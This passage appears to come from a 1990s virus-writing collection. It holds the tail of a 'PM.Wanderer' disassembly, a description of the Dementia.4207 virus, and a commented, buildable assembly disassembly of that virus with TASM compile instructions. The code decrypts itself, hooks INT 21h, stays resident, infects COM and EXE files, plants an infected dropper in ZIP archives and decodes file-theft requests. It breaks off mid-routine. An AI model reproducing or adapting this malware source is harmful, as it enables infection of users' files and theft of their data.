; 80386 TRAP GATE
; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÑÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍ»
; º OFFSET 31..16 ³ P ³DPL³0 1 1 1 1³0 0 0³(NOT USED) º4
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄĶ
; º SELECTOR ³ OFFSET 15..0 º0
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

build_idt_descriptor: ; On entry:
; ECX = interrupt number
; AX = address of service routine
; DI = address to store orig int & sel
mov esi,es:IDT_base ; Access to IDT
mov bx,[esi+6][ecx*8] ; Offset 31..16
shl ebx,10h
mov bx,[esi][ecx*8] ; Offset 15..0
mov es:[di],ebx ; Save original int
mov bx,[esi+2][ecx*8] ; Get selector
mov es:[di+4],bx ; Save original selector
mov bx,es:virus_selector
mov [esi+2][ecx*8],bx ; Set new selector
mov [esi][ecx*8],ax ; Set new interrupt (15..0)
mov word ptr [esi+6][ecx*8],0 ; (31..16)
ret
system_registers:
_CR3 dd 0
addr_GDTR dd 0
addr_IDTR dd 0
LDTR dw 0
TR dw TSS_SEL ; TSS selector
pm_EIP dd offset(pm_entry_point) ; Protected mode EIP
pm_CS dw CODE_SEL ; Protected mode CS selector

GDTR:
limit_gdt dw 47h
base_gdt dd 0

IDTR:
limit_idt dw 0FFFFh
base_idt dd 0

host_type db 0
codesegment dw 0
pm_ep dd 0
dw VCPICS_SEL

virus_end:

size_mcb dw ?
orig_i1 dd ?
sel_i1 dw ?
orig_i9 dd ?
sel_i9 dw ?
i21h_ep dd ?
virus_cs dw ?
virus_selector dw ?

pages_4K:
page_1 dd ?
page_2 dd ?
page_3 dd ?
page_4 dd ?

old_pages dd ?
old_page2 dd ?
old_page3 dd ?

addr_dir_page dw ?
infecting db ?
pagetable dd ?

GDT:
GDT_limit dw ?
GDT_base dd ?

IDT:
IDT_limit dw ?
IDT_base dd ?

org 1000h
BUFFER_SIZE = 1000h
_stack:
buffer1:
db BUFFER_SIZE dup(?)
buffer2:
header:
signature dw ?
image_size dw ?
pages dw ?
relo_items dw ?
header_size dw ?
mim_mem dw ?
max_mem dw ?
stack_seg dw ?
stack_ofs dw ?
checksum dw ?
val_ip dw ?
val_cs dw ?
ofs_reloc dw ?
overlays dw ?

wanderer ends

data0 segment use16


org 0
db STACK_SIZE dup(?) ; Stack
_esp dd ?
db 3Ch dup(?) ; Buffer for encryptor
end_encryptor db ?
db 0Fh dup(?) ; Buffer for encryptor
psp_seg dw ?
filetime dw ?
filedate dw ?
previous_ofs dw ?
mask_dec_ofs dw ?
mask_enc_ofs dw ?
ofs_loop_begin dw ?
decryptor_size dw ?
max_garbage dw ?
dd ?
ptr_select_reg dw ?
code_size dw ?
operations db ?
indexreg_op1 db ?
dw ?
delta_ofs dw ?
enc_buffer dw ?
unused_reg db ?
saved_sp dw ?
saved_ss dw ?

org 0F0h
copy_code = $

data0 ends
end start

; End of PM.Wanderer disassembly


; (c) 1997, Tcp/29A (tcp@cryogen.com)
Dementia.4207
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
It is not a dangerous memory resident encrypted parasitic virus. It hooks
INT 21h, then writes itself to the end of COM and EXE files that are
executed or opened. The virus contains the text strings:

!#TEMP#!
REQUEST.IVA
RECEIPT.IVA
CALLFAST.COM
*.*
Dementia] Copyright 1993 Necrosoft enterprises - All rights reserved
I am the man that walks alone
And when I'm walking a dark road
At night or strolling through the park
When the light begins to change
I sometimes feel a little strange
A little anxious when it's dark

While opening any ZIP file the virus scans the contents of the ZIP file for
the REQUEST.IVA file. If there is no such one inside of ZIP, the virus
creates the CALLFAST.COM file, writes into there the video-effect routine,
infects CALLFAST.COM and appends that file to the files stored in ZIP.

So the virus "infects" ZIP file, after "infection" the ZIP file contains
infected copy of the virus.

If there is the REQUEST.IVA file in the ZIP, and that file is of the special
format (there is ID-string 92h,14h,76h,17h, and there is one or more file
search pattern) the virus creates RECEIPT.IVA file, searches for the files
are listed in the REQUEST.IVA file, copies them into RECEIPT.IVA, encrypts
the result, and stores it into the ZIP.

So the virus is able to "stole" the files from the computer and save them
into the ZIP containing special REQUEST.IVA file.

While processing the ZIP files the virus does not call PKZIP/PKUNZIP
utilities, but parses by itself the internal ZIP format, reads/writes the
ZIP records and adds new ones. While writing new data into the ZIP files the
virus does not use compression, but writes it in not compressed form (ZIP
method "stored").

The virus dropper (the CALLFAST.COM file) contains the routine witch
displays when executed:

DEMENTIA
(512)PRI-VATE ú 0 day wares ú V-X
800 megs online ú USR Dual 16.8k
-\- Psychotech <Image> -/-
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENTIA.ASM]ÄÄ
comment *
Dementia.4207
Disassembly by
Darkman/29A

Dementia.4207 is a 4207 bytes parasitic resident COM/EXE/ZIP virus. Infects


files at close file, open file and load and/or execute program by appending
the virus to the infected COM/EXE file and storing in the infected ZIP file.
Dementia.4207 has an error handler, 16-bit exclusive OR (XOR) encryption in
file and is using archive infection technique.

To compile Dementia.4207 with Turbo Assembler v 4.0 type:


TASM /M DEMENTIA.ASM
TLINK /x DEMENTIA.OBJ
EXE2BIN DEMENTIA.EXE DEMENTIA.COM
*

.model tiny
.code

code_begin:
call delta_offset
delta_offset:
pop si ; Load SI from stack
add si,(crypt_begin-delta_offset-02h)
mov di,si ; DI = offset of code_end - 02h

std ; Set direction flag


mov cx,(crypt_begin-crypt_end-02h)/02h
decrypt_key equ word ptr $+01h ; Decryption key
mov dx,00h ; DX = decryption key

push cs cs ; Save segments at stack


pop ds es ; Load segments from stack (CS)
decrypt_loop:
lodsw ; AX = word of encrypted code
xor ax,dx ; Decrypt two bytes
stosw ; Store two plain bytes

jmp crypt_end
crypt_end:
loop decrypt_loop

cld ; Clear direction flag


push cs ; Save CS at stack
sub si,(crypt_end-code_begin)
nop
mov cl,04h ; Divide by paragraphs
shr si,cl ; SI = offset of crypt_end in para...
mov ax,cs ; AX = code segment
add ax,si ; Add code segment to delta offset...
push ax ; Save AX at stack

lea ax,virus_begin ; AX = offset of virus_begin


push ax ; Save AX at stack

retf ; Return far!


virus_begin:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

pop ax ; Load AX from stack (CS)


mov [code_seg_],ax ; Store code segment

mov bx,1492h ; Dementia.4207 function


call close_file
cmp bx,1776h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit

call install
virus_exit:
mov ah,[com_or_exe] ; AH = COM or EXE executable?
cmp ah,00h ; COM executable?
nop
je vir_com_exit ; Equal? Jump to vir_com_exit
mov ax,[code_seg_] ; AX = code segment
mov bx,[initial_cs] ; AX = initial CS relative to star...
sub ax,bx ; Subtract initial CS relative to ...
mov dx,ax ; DX = segment of PSP for current ...

mov bx,[code_seg] ; BX = original code segment


add ax,bx ; Add original code segment to seg...
mov [code_seg],ax ; Store original code segment

xchg ax,dx ; AX = segment of current PSP proc...

cli ; Clear interrupt-enable flag


mov bx,[stack_seg] ; BX = original stack segment
add ax,bx ; Add original stack segment to se...
mov ss,ax ; SS = original stack segment

mov ax,[stack_ptr] ; AX = original stack pointer


mov sp,ax ; SP = " " "
sti ; Set interrupt-enable flag

mov ah,62h ; Get current PSP address


int 21h
mov ds,bx ; DS = segment of PSP for current ...
mov es,bx ; ES = segment of PSP for current ...

xor ax,ax ; Zero AX


xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI

jmp dword ptr cs:[instruct_ptr]


vir_com_exit:
mov di,100h ; DI = offset of beginning of code
lea si,origin_code ; SI = offset of origin_code
nop
movsw ; Move the original code to beginning
movsb ; " " " " " "

push es ; Save ES at stack

mov ax,100h ; AX = offset of beginning of code


push ax ; Save AX at stack

xor ax,ax ; Zero AX


xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI

push es ; Save ES at stack


pop ds ; Load DS from stack (ES)

retf ; Return far!

upcase_char proc near ; Upcase character


cmp al,'a' ; Lowcase character?
jl dont_upcase ; Less? Jump to dont_upcase
cmp al,'z' ; Lowcase character?
jg dont_upcase ; Greater? Jump to dont_upcase
sub al,20h ; Upcase character
dont_upcase:
ret ; Return!
endp

int21_virus proc near ; Interrupt 21h of Dementia.4207


pushf ; Save flags at stack
cld ; Clear direction flag

cmp ah,3eh ; Close file?


jne tst_open_fil ; Not equal? Jump to tst_open_fil

cmp bx,1492h ; Dementia.4207 function?


jne tst_open_fil ; Not equal? Jump to tst_open_fil

mov bx,1776h ; Already resident

popf ; Load flags from stack

iret ; Interrupt return!


tst_open_fil:
cmp ah,3dh ; Open file
jne tst_load_and ; Not equal? Jump to tst_load_and

cmp al,0ffh ; Dementia.4207 function


je dementia_fun ; Equal? Jump to dementia_fun

push ax si ; Save registers at stack


mov si,dx ; SI = offset of filename
find_dot:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je open_fi_exit ; Equal? Jump to open_fi_exit

cmp al,'.' ; Found the dot in the filename


jne find_dot ; Not equal? Jump to find_dot

lodsb ; AL = byte of extension


call upcase_char
cmp al,'C' ; COM executable?
jne tst_exe_exec ; Not equal? Jump to tst_exe_exec

lodsb ; AL = byte of extension


call upcase_char
cmp al,'O' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension


call upcase_char
cmp al,'M' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

call inf_com_exe

jmp open_fi_exit
tst_exe_exec:
cmp al,'E' ; EXE executable?
jne tst_zip_arch ; Not equal? Jump to tst_zip_arch

lodsb ; AL = byte of extension


call upcase_char
cmp al,'X' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'E' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

call inf_com_exe

jmp open_fi_exit
tst_zip_arch:
cmp al,'Z' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension


call upcase_char
cmp al,'I' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension


call upcase_char
cmp al,'P' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

call infect_zip

jmp open_fi_exit
open_fi_exit:
pop si ax ; Load registers from stack

jmp tst_load_and
dementia_fun:
mov al,02h ; Dementia.4207 function
tst_load_and:
cmp ah,4bh ; Load and/or execute program?
jne int21_exit ; Not equal? Jump to int21_exit

call inf_com_exe
int21_exit:
popf ; Load flags from stack

jmp cs:[int21_addr]
endp

install proc near ; Allocate memory, move virus to t...


push es ; Save ES at stack

mov ah,52h ; Get list of lists


int 21h

mov ax,es:[bx-02h] ; AX = segment of first memory con...


next_mcb:
mov ds,ax ; DS = segment of current memory c...

mov al,ds:[00h] ; AL = block type


cmp al,'Z' ; Last block in chain?
je allocate_mem ; Equal? Jump to allocate_mem

mov ax,ds ; AX = segment of current memory c...


mov bx,ds:[03h] ; BX = size of memory block in par...
add ax,bx ; Add size of memory block in para...
inc ax ; AX = segment of next memory cont...

jmp next_mcb
allocate_mem:
mov bx,ds:[03h] ; BX = size of memory block in par...
sub bx,(code_end-code_begin+0fh)/10h*02h
mov ds:[03h],bx ; Store new size of memory control...

mov ax,ds ; AX = segment of last memory cont...


add ax,bx ; Add new size of memory block in ...
inc ax ; AX = segment of virus
mov es,ax ; ES = " " "

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

xor si,si ; Zero SI


xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to top of memory

push es ; Save ES at stack

lea ax,install_ ; AX = offset of install_


push ax ; Save AX at stack

retf ; Return far!


install_:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov ax,3521h ; Get interrupt vector 21h


int 21h
mov word ptr [int21_addr+02h],es
mov word ptr [int21_addr],bx

lea dx,int21_virus ; DX = offset of int21_virus


mov ax,2521h ; Set interrupt vector 21h
int 21h

pop es ; Load ES from stack

ret ; Return!
endp

inf_com_exe proc near ; Infect COM/EXE file


push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,06h ; Correct stack pointer

push ax bx cx dx si di ds es

call int24_store

call open_file
jc com_exe_exit ; Error? Jump to com_exe_exit

call load_info
and cx,0000000000011111b
cmp cx,0000000000000001b
je call_close ; Already infected? Jump to call_c...

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov cx,20h ; Read thirty-two bytes
call read_file

mov ax,ds:[00h] ; AX = EXE signature


cmp ax,'MZ' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect
cmp ax,'ZM' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect

call infect_com

jmp call_mark
call_infect:
call infect_exe
call_mark:
call infect_mark
call_close:
call close_file
com_exe_exit:
call int24_load

pop es ds di si dx cx bx ax

mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

infect_zip proc near ; Infect ZIP archive


push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,28h ; Correct stack pointer

push ax bx cx dx si di ds es

xor ax,ax ; Didn't found file


mov [bp-0eh],ax ; Store didn't found CALLFAST.COM
mov [bp-10h],ax ; " " " REQUEST.IVA
mov [bp-12h],ax ; " " " RECEIPT.IVA

call int24_store

push dx ds ; Save registers at stack


lea dx,temp_file ; DX = offset of temp_file
nop
call create_file
mov [bp-0ah],ax ; Store file handle of !#TEMP#!
pop ds dx ; Load registers from stack

call open_file
jnc load_info_ ; No error? Jump to load_info_

jmp inf_zip_exit
load_info_:
mov [bp-08h],ax ; Store file handle of ZIP file

call load_info

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
next_lfh_sig:
mov cx,04h ; Read four bytes
call read_file

mov ax,ds:[00h] ; AX = low-order word of file head...


cmp ax,'KP' ; Found low-order word of file ha...?
je test_dir_sig ; Equal? Jump to test_dir_sig

jmp call_mark_
test_dir_sig:
mov ax,ds:[02h] ; AX = high-order word of file hea...
cmp ax,201h ; Found high-order word of central...
jne read_lfh ; Not equal? Jump to read_lfh

jmp zero_cdh_num
read_lfh:
mov cx,1ah ; Read twenty-six bytes
call read_file

mov cx,ds:[16h] ; CX = filename length


mov dx,20h ; DI = offset of filename
call read_file_

push cs ; Save CS at stack


pop es ; Load ES from stack (CS)

lea di,request_iva ; DI = offset of request_iva


nop
mov si,20h ; SI = offset of filename
request_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of request_iva

inc di ; Increase index register

cmp ah,00h ; End of filename?


je found_reques ; Equal? Jump to found_reques

cmp ah,al ; Byte of filename equal to byte o...


jne find_callfas ; Not equal? Jump to find_callfas

jmp request_loop
found_reques:
mov ax,01h ; Found REQUEST.IVA
mov [bp-10h],ax ; Store found REQUEST.IVA

xor cx,cx ; Zero CX


xor dx,dx ; Zero DX
call set_pos_cfp
mov [bp-24h],ax ; AX = low-order word of extra field
mov [bp-22h],dx ; DX = high-order word of extra field
find_callfas:
lea di,callfast_com ; DI = offset of callfast_com
nop
mov si,20h ; SI = offset of filename
callfas_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of callfast_com

inc di ; Increase index register

cmp ah,00h ; End of filename?


je found_callfa ; Equal? Jump to found_callfa
cmp ah,al ; Byte of filename equal to byte o...
jne find_receipt ; Not equal? Jump to find_receipt

jmp callfas_loop
found_callfa:
mov ax,01h ; Found CALLFAST.COM
mov [bp-0eh],ax ; Store found CALLFAST.COM
find_receipt:
lea di,receipt_iva ; DI = offset of receipt_iva
nop
mov si,20h ; SI = offset of filename
receipt_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of receipt_iva

inc di ; Increase index register

cmp ah,00h ; End of filename?


je found_receip ; Equal? Jump to found_receip

cmp ah,al ; Byte of filename equal to byte o...


jne calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr

jmp receipt_loop
found_receip:
mov ax,01h ; Found RECEIPT.IVA
mov [bp-12h],ax ; Store found RECEIPT.IVA
calc_lfh_ptr:
mov dx,ds:[0eh] ; DX = low-order word of compresse...
mov cx,ds:[10h] ; CX = high-order word of compress...
mov ax,ds:[18h] ; AX = extra field length
add dx,ax ; Add extra field length to compre...
adc cx,00h ; Convert to 32-bit

call set_pos_cfp

jmp next_lfh_sig
zero_cdh_num:
xor ax,ax ; No central directory file header...
mov [bp-0ch],ax ; Store no central directory file ...
copy_cds:
mov ax,[bp-0ch] ; AX = number of central directory...
inc ax ; Increase number of central direc...
mov [bp-0ch],ax ; Store number of central director...

mov bx,[bp-08h] ; BX = file handle of ZIP file


mov cx,2ah ; Read forty-two bytes
call read_file

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


call write_file_

mov cx,ds:[18h] ; CX = filename length


mov bx,ds:[1ah] ; BX = extra field length
add cx,bx ; Add extra field length to filena...
mov bx,ds:[1ch] ; BX = file comment length
add cx,bx ; CX = number of bytes to read

mov bx,[bp-08h] ; BX = file handle of ZIP file


call read_file_

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


call write_file_

mov cx,04h ; Read four bytes


mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_

mov ax,ds:[00h] ; AX = low-order word of end of ce...


cmp ax,'KP' ; Found low-order word of end of ...?
je test_eoc_sig ; Equal? Jump to test_eoc_sig

jmp call_mark_
test_eoc_sig:
mov ax,ds:[02h] ; AX = high-order word of end of c...
cmp ax,605h ; Found high-order word of end of ...
je copy_eocds ; Equal? Jump to read_oecds

jmp copy_cds
copy_eocds:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,12h ; Read eightteen bytes
call read_file

mov ax,ds:[0ch] ; AX = low-order word of offset of...


mov [bp-18h],ax ; Store low-order word of offset o...
mov ax,ds:[0eh] ; AX = high-order word of offset o...
mov [bp-16h],ax ; Store high-order word of offset ...

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


call write_file_

mov cx,ds:[10h] ; CX = zipfile comment length


mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


call write_file_

mov ax,[bp-10h] ; AX = found REQUEST.IVA


or ax,ax ; Didn't found REQUEST.IVA
jz test_callfas ; Zero? Jump to test_callfas

jmp test_receipt
test_callfas:
mov ax,[bp-0eh] ; AX = found CALLFAST.COM
or ax,ax ; Didn't found CALLFAST.COM
jz create_file_ ; Zero? Jump to create_file_

jmp call_mark_
create_file_:
lea dx,callfast_com ; DX = offset of callfast_com
nop
call create_file
mov [bp-14h],ax ; Store file handle of CALLFAST.COM
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM

mov cx,(file_end-file_begin)
nop
lea dx,file_begin ; DX = offset of file_begin
nop
call write_file_

call close_file
mov ax,01h ; Don't test filesize
mov [tst_filesize],ax ; Store don't test filesize

lea dx,callfast_com ; DX = offset of callfast_com


nop
call inf_com_exe

xor ax,ax ; Test filesize


mov [tst_filesize],ax ; Store test filesize

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

push cs ; Save CS at stack


pop es ; Load ES from stack (CS)

lea si,callfast_com ; SI = offset of callfast_com


nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move CALLFAST.COM to filename
open_filenam:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,filename ; DX = offset of filename


nop
call open_file

call set_pos_eof
mov [bp-1ch],ax ; Store low-order word of filesize
mov [bp-1ah],dx ; Store high-order word of filesize

call calc_crc32
mov [bp-20h],ax ; Store low-order word of CRC-32 c...
mov [bp-1eh],dx ; Store high-order word of CRC-32 ...

mov bx,[bp-08h] ; BX = file handle of ZIP file


mov cx,[bp-16h] ; CX = high-order word of offset o...
mov dx,[bp-18h] ; DX = low-order word of offset of...
call set_pos_sof_

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov ax,'KP' ; AX = low-order word of local hea...


mov ds:[00h],ax ; Store low-order word of local he...
mov ax,403h ; AX = high-order word of local hea...
mov ds:[02h],ax ; Store high-order word of local he...
mov ax,0ah ; AX = version needed to extract (v...
mov ds:[04h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[06h],ax ; Store general purpose bit flag
mov ds:[08h],ax ; Store compression method (the fil...
mov ax,3021h ; AX = last modified file time
mov ds:[0ah],ax ; Store last modified file time
mov ax,1ae1h ; AX = last modified file date
mov ds:[0ch],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[0eh],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[10h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[12h],ax ; Store low-order word of compress...
mov ds:[16h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[14h],ax ; Store high-order word of compres...
mov ds:[18h],ax ; Store high-order word of uncompr...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ah],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length (0 bytes)
mov ds:[1ch],ax ; Store extra field length (0 bytes)

mov cx,1eh ; Write thirty bytes


call write_file

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

lea dx,filename ; DX = offset of filename


nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM


call set_pos_sof
copy_callfas:
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je copy_cds_ ; Equal? Jump to copy_cds_

mov cx,ax ; CX = number of bytes actually read


mov bx,[bp-08h] ; BX = file handle of ZIP file
call write_file

jmp copy_callfas
copy_cds_:
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call set_pos_sof
cpy_cds_loop:
mov ax,[bp-0ch] ; AX = number of central directory...
cmp ax,00h ; No central directory file header?
je wrt_last_cds ; Equal? Jump to write_last_cds

dec ax ; Decrease number of central direc...


mov [bp-0ch],ax ; Store number of central director...

mov ax,'KP' ; AX = low-order word of central d...


mov ds:[00h],ax ; Store low-order word of central ...
mov ax,201h ; AX = high-order word of central ...
mov ds:[02h],ax ; Store high-order word of central...

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


mov cx,2ah ; Read forty-two bytes
mov dx,04h ; DX = offset of central directory...
call read_file_
mov cx,ds:[1ch] ; CX = filename length
mov dx,ds:[1eh] ; DX = extra field length
add cx,dx ; Add extra field length to filena...
mov dx,ds:[20h] ; DX = file comment length
add cx,dx ; CX = number of bytes to read

push cx ; Save CX at stack


mov dx,2eh ; DX = offset of central directory...
call read_file_

mov bx,[bp-08h] ; BX = file handle of ZIP file


pop cx ; Load CX from stack
add cx,2eh ; Add size of central directory fi...
call write_file

jmp cpy_cds_loop
wrt_last_cds:
mov ax,0ah ; AX = version made by (version 1....
mov ds:[04h],ax ; Store version made by (version 1...
mov ds:[06h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[08h],ax ; Store general purpose bit flag
mov ds:[0ah],ax ; Store compression method (the fil...
mov ax,3021h ; AX = last modified file time
mov ds:[0ch],ax ; Store last modified file time
mov ax,1ae1h ; AX = last modified file date
mov ds:[0eh],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[10h],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[12h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[14h],ax ; Store low-order word of compress...
mov ds:[18h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[16h],ax ; Store high-order word of compres...
mov ds:[1ah],ax ; Store high-order word of compres...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ch],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length, file co...
mov ds:[1eh],ax ; Store extra field length (0 bytes)
mov ds:[20h],ax ; Store file comment length (0 bytes)
mov ds:[22h],ax ; Store disk number start (0 bytes)
mov ds:[24h],ax ; Store internal file attributes
mov ds:[26h],ax ; Store low-order word of external...
mov ds:[28h],ax ; Store high-order word of externa...
mov ax,[bp-18h] ; AX = low-order word of offset of...
mov ds:[2ah],ax ; Store low-order word of relative...
mov ax,[bp-16h] ; AX = high-order word of offset o...
mov ds:[2ch],ax ; Store high-order word of relativ...

mov bx,[bp-08h] ; BX = file handle of ZIP file


mov cx,2eh ; Write forty-six bytes
call write_file

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

lea dx,filename ; DX = offset of filename


nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov ax,'KP' ; AX = low-order word of end of ce...


mov ds:[00h],ax ; Store low-order word of end of c...
mov ax,605h ; AX = high-order word of end of c...
mov ds:[02h],ax ; Store high-order word of end of ...

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


mov cx,12h ; Read eightteen bytes
mov dx,04h ; DX = offset of end of central di...
call read_file_

mov cx,ds:[14h] ; CX = zipfile comment length


push cx ; Save CX at stack
mov dx,16h ; DX = offset of zipfile comment
call read_file_

mov ax,ds:[08h] ; AX = total number of entries in ...


inc ax ; Increase total number of entries...
mov ds:[08h],ax ; Store total number of entries in...
mov ax,ds:[0ah] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[0ah],ax ; Store total number of entries in...
mov ax,ds:[0ch] ; AX = low-order word of size of t...
mov dx,ds:[0eh] ; DX = high-order word of size of ...
add ax,3ah ; Add size of central directory fi...
nop
adc dx,00h ; Convert to 32-bit
mov ds:[0ch],ax ; Store low-order word of size of ...
mov ds:[0eh],dx ; Store high-order word of size of...
mov ax,ds:[10h] ; AX = low-order word of offset of...
mov dx,ds:[12h] ; DX = high-order word of offset o...
add ax,2ah ; Add size of local file header to...
nop
adc dx,00h ; Convert to 32-bit
mov bx,[bp-1ah] ; BX = high-order word of filesize
add dx,bx ; Add high-order word of filesize ...
mov bx,[bp-1ch] ; BX = low-order word of filesize
add ax,bx ; Add low-order word of filesize t...
adc dx,00h ; Convert to 32-bit
mov ds:[10h],ax ; Store low-order word of offset o...
mov ds:[12h],dx ; Store high-order word of offset ...

mov bx,[bp-08h] ; BX = file handle of ZIP file


pop cx ; Load CX from stack
add cx,16h ; Add size of end of central direc...
call write_file

mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM


call close_file

lea dx,filename ; DX = offset of filename


nop
call delete_file

jmp call_mark_
test_receipt:
mov ax,[bp-12h] ; AX = found RECEIPT.IVA
or ax,ax ; Didn't found RECEIPT.IVA
jz exam_extra ; Zero? Jump to exam_extra
jmp call_mark_
exam_extra:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-22h] ; CX = high-order word of extra field
mov dx,[bp-24h] ; DX = low-order word of extra field
call set_pos_sof_

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov es,ax ; ES = segment of data buffer

mov cx,400h ; Read one thousand and twenty-fou...


call read_file

cld ; Clear direction flag


xor si,si ; Zero SI
xor di,di ; Zero DI
lodsw ; AX = word of extra field
cmp ax,1492h ; Found infection mark?
je comp_extra ; Equal? Jump to comp_extra

jmp call_mark_
comp_extra:
lodsw ; AX = word of extra field
cmp ax,1776h ; Found infection mark?
je load_extra ; Equal? Jump to load_extra

jmp call_mark_
load_extra:
lodsw ; AX = 16-bit decryption key
mov dx,ax ; DX = " " "
lodsb ; AL = number of file specifications

xor cx,cx ; Zero CX


mov cl,al ; CL = number of filespecification
push ax ; Save AX at stack
decrypt_next:
push cx ; Save CX at stack
mov cx,07h ; Decryption fourteen bytes
decrypt_spec:
lodsw ; AX = word of encrypted file spec...
xor ax,dx ; Decrypt word of file specification
stosw ; Store word of file specification

loop decrypt_spec

pop cx ; Load CX from stack

loop decrypt_next

mov ax,ds ; AX = segment of data buffer


add ax,40h ; AX = segment of pathname
mov es,ax ; ES = " " "

push ds ; Save DS at stack


push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov ah,47h ; Get current directory


xor dl,dl ; Default drive
xor si,si ; Zero SI
